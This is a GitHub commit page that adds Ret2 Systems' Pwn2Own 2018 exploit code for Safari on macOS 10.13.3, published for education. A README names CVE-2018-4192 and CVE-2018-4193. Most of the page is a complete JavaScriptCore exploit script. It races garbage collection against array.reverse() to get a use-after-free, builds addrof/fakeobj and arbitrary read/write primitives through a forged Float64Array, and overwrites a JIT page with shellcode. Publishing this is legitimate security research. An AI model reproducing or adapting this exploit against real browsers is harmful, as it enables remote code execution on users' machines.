Skip to content

Commit

Permalink
adds exploit code
Browse files Browse the repository at this point in the history
  • Loading branch information
gaasedelen committed Aug 28, 2018
1 parent cc199a4 commit 5141489
Show file tree
Hide file tree
Showing 12 changed files with 2,274 additions and 1 deletion.
21 changes: 21 additions & 0 deletions LICENSE
@@ -0,0 +1,21 @@
MIT License

Copyright (c) 2018 Ret2 Systems, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
15 changes: 14 additions & 1 deletion README.md
@@ -1 +1,14 @@
# P2O_2018
# PWN2OWN 2018 - Safari + Root

This repo contains exploit code as used by [Ret2 Systems](https://twitter.com/ret2systems) at [PWN2OWN 2018](https://www.thezdi.com/blog/2018/3/15/pwn2own-2018-day-two-results-and-master-of-pwn). It has been released for educational purposes, detailed by a series of [blogposts](https://blog.ret2.io/2018/06/05/pwn2own-2018-exploit-development/).

These were used as zero-day exploits against macOS 10.13.3 & Safari/JSC on March 16th, 2018.

# Contents

* `/jsc` - JavaScriptCore Exploit & PoC for CVE-2018-4192
* `/windowserver` - WindowServer Exploit & PoC for CVE-2018-4193

# License

The contents of this repo are licensed and distributed under the MIT license.
323 changes: 323 additions & 0 deletions jsc/exploit.js
@@ -0,0 +1,323 @@
// Load Int library, thanks saelo!
load('util.js');
load('int64.js');


// Helpers to convert from float to in a few random places
var conva = new ArrayBuffer(8);
var convf = new Float64Array(conva);
var convi = new Uint32Array(conva);
var convi8 = new Uint8Array(conva);

var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var floatarr_magic = new Int64('0x3131313131313131').asDouble();
var jsval_magic = new Int64('0x3232323232323232').asDouble();

var structs = [];

function log(x) {
print(x);
}

// Look OOB for array we can use with JSValues
function findArrayOOB(corrupted_arr, groom) {
log("Looking for JSValue array with OOB Float array");
for (let i = 0; i<corrupted_arr.length; i++) {
convf[0] = corrupted_arr[i];

// Find the magic value we stored in the JSValue Array
if (convi[0] == 0x10) {
convf[0] = corrupted_arr[i+1];
if (convi[0] != 0x32323232)
continue;

// Change the first element of the array
corrupted_arr[i+1] = new Int64('0x3131313131313131').asDouble();

let target = null;
// Find which array we modified
for (let j = 0; j<groom.length; j++) {
if (groom[j][0] != jsval_magic) {
target = groom[j];
break
}
}

log("Found target array for addrof/fakeobj");

// This object will hold our primitives
let prims = {};

let oob_ind = i+1;

// Get the address of a given jsobject
prims.addrof = function(x) {
// To do this we put the object in the jsvalue array and
// access it OOB with our float array
target[0] = x;
return Int64.fromDouble(corrupted_arr[oob_ind]);
}

// Return a jsobject at a given address
prims.fakeobj = function(addr) {
// To do this we overwrite the first slot of the jsvalue array
// with the OOB float array
corrupted_arr[oob_ind] = addr.asDouble();
return target[0];
}

return prims;
}
}
}

// Here we will spray structure IDs for Float64Arrays
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function sprayStructures() {
function randomString() {
return Math.random().toString(36).replace(/[^a-z]+/g, '').substr(0, 5);
}
// Spray arrays for structure id
for (let i = 0; i < 0x1000; i++) {
let a = new Float64Array(1);
// Add a new property to create a new Structure instance.
a[randomString()] = 1337;
structs.push(a);
}
}


// Here we will create our fake typed array and get arbitrary read/write
// See http://www.phrack.org/papers/attacking_javascript_engines.html
function getArb(prims) {
sprayStructures()

let utarget = new Uint8Array(0x10000);
utarget[0] = 0x41;

// Our fake array
// Structure id guess is 0x200
// [ Indexing type = 0 ][ m_type = 0x27 (float array) ][ m_flags = 0x18 (OverridesGetOwnPropertySlot) ][ m_cellState = 1 (NewWhite)]
let jscell = new Int64('0x0118270000000200');

// Construct the object
// Each attribute will set 8 bytes of the fake object inline
obj = {
'a': jscell.asDouble(),

// Butterfly can be anything
'b': false,

// Target we want to write to
'c': utarget,

// Length and flags
'd': new Int64('0x0001000000000010').asDouble()
};


// Get the address of the values we stored in obj
let objAddr = prims.addrof(obj).add(16);
log("Obj addr + 16 = "+objAddr);

// Create a fake object from this pointer
let fakearray = prims.fakeobj(objAddr);

// Attempt to find a valid ID for our fake object
while(!(fakearray instanceof Float64Array)) {
jscell.add(1);
obj['a'] = jscell.asDouble();
}

log("Matched structure id!");

// Set data at a given address
prims.set = function(addr, arr) {
fakearray[2] = addr.asDouble();
utarget.set(arr);
}

// Read 8 bytes as an Int64 at a given address
prims.read64 = function(addr) {
fakearray[2] = addr.asDouble();
let bytes = Array(8);
for (let i=0; i<8; i++) {
bytes[i] = utarget[i];
}
return new Int64(bytes);
}

// Write an Int64 as 8 bytes at a given address
prims.write64 = function(addr, value) {
fakearray[2] = addr.asDouble();
utarget.set(value.bytes);
}
}

// Here we will use build primitives to eventually overwrite the JIT page
function exploit(corrupted_arr, groom) {
save.push(groom);
save.push(corrupted_arr);

// Create fakeobj and addrof primitives
let prims = findArrayOOB(corrupted_arr, groom);

// Upgrade to arb read/write from OOB read/write
getArb(prims);

// Build an arbitrary JIT function
// This was basically just random junk to make the JIT function larger
let jit = function(x) {
var j = []; j[0] = 0x6323634;
return x*5 + x - x*x /0x2342513426 +(x - x+0x85720642 *(x +3 -x / x+0x41424344)/0x41424344)+j[0]; };

// Make sure the JIT function has been compiled
jit();
jit();
jit();

// Traverse the JSFunction object to retrieve a non-poisoned pointer
log("Finding jitpage");
let jitaddr = prims.read64(
prims.read64(
prims.read64(
prims.read64(
prims.addrof(jit).add(3*8)
).add(3*8)
).add(3*8)
).add(5*8)
);
log("Jit page addr = "+jitaddr);

// Overwrite the JIT code with our INT3s
log("Writting shellcode over jit page");
prims.set(jitaddr.add(32), [0xcc, 0xcc, 0xcc, 0xcc]);

// Call the JIT function, triggering our INT3s
log("Calling jit function");
jit();

throw("JIT returned");
}


// Find and set the length of a non-freed butterfly with our unstable OOB primitive
function setLen(uaf_arr, ind) {
let f=0;
for (let i=0; i<uaf_arr.length; i++) {
convf[0] = uaf_arr[i];

// Look for a new float array, and set the length
if (convi[0] == 0x10) {
convf[0] = uaf_arr[i+1];
if (convi[0] == 0x32323232 && convi[1] == 0x32323232) {
convi[0] = 0x42424242;
convi[1] = 0x42424242;
uaf_arr[i] = convf[0];
return;
}
}
}

throw("Could not find anouther array to corrupt");
}


let oob_rw_unstable = null;
let oob_rw_unstable_ind = null;
let oob_rw_stable = null;

// After this point we would stop seeing GCs happen enough to race :(
const limit = 10;
const butterfly_size = 32

let save = [0, 0]

for(let at = 0; at < limit; at++) {
log("Trying to race GC and array.reverse() Attempt #"+(at+1));

// Allocate the initial victim and target arrays
let victim_arrays = new Array(2048);
let groom = new Array(2048);
for (let i=0; i<victim_arrays.length; i++) {
victim_arrays[i] = new Array(butterfly_size).fill(floatarr_magic)
groom[i] = new Array(butterfly_size/2).fill(jsval_magic)
}

let vv = [];
let v = []

// Allocate large strings to trigger the GC while calling reverse
for (let i = 0; i < 506; i++) {
for(let j = 0; j < 0x100; j++) {
// Cause GCs to trigger while we are racing with reverse
if (j == 0x44) { v.push(new String("B").repeat(0x10000*save.length/2)) }
victim_arrays.reverse()
}
}

for (let i = 0; i < victim_arrays.length; i++) {

// Once we see we have replaced a free'd butterfly
// fill the replacing array with 0x41414141... to smash rest
// of UAF'ed butterflies

// We know the size will be 506, because it will have been replaced with v
// we were pushing into in the loop above

if(victim_arrays[i].length == 506) {
victim_arrays[i].fill(2261634.5098039214)
}

// Find the first butterfly we have smashed
// this will be an unstable OOB r/w

if(victim_arrays[i].length == 0x41414141) {
oob_rw_unstable = victim_arrays[i];
oob_rw_unstable_ind = i;
break;
}
}

// If we successfully found a smashed and still freed butterfly
// use it to corrupt a non-freed butterfly for stability

if(oob_rw_unstable) {

setLen(oob_rw_unstable, oob_rw_unstable_ind)

for (let i = 0; i < groom.length; i++) {
// Find which array we just corrupted
if(groom[i].length == 0x42424242) {
oob_rw_stable = groom[i];
break;
}
}
if (!oob_rw_stable) {
throw("Groom seems to have failed :(");
}
}

// chew CPU to avoid a segfault and help with gc schedule
for (let i = 0; i < 0x100000; i++) { }


// Attempt to clean up some
let f = []
for (let i = 0; i < 0x2000; i++) {
f.push(new Array(16).fill(2261634.6098039214))
}

save.push(victim_arrays)
save.push(v)
save.push(f)
save.push(groom)

if (oob_rw_stable) {
log("Found stable corrupted butterfly! Now the fun begins...");
exploit(oob_rw_stable, groom);
break;
}

}
throw("Failed to find any UAF'ed butterflies");

0 comments on commit 5141489

Please sign in to comment.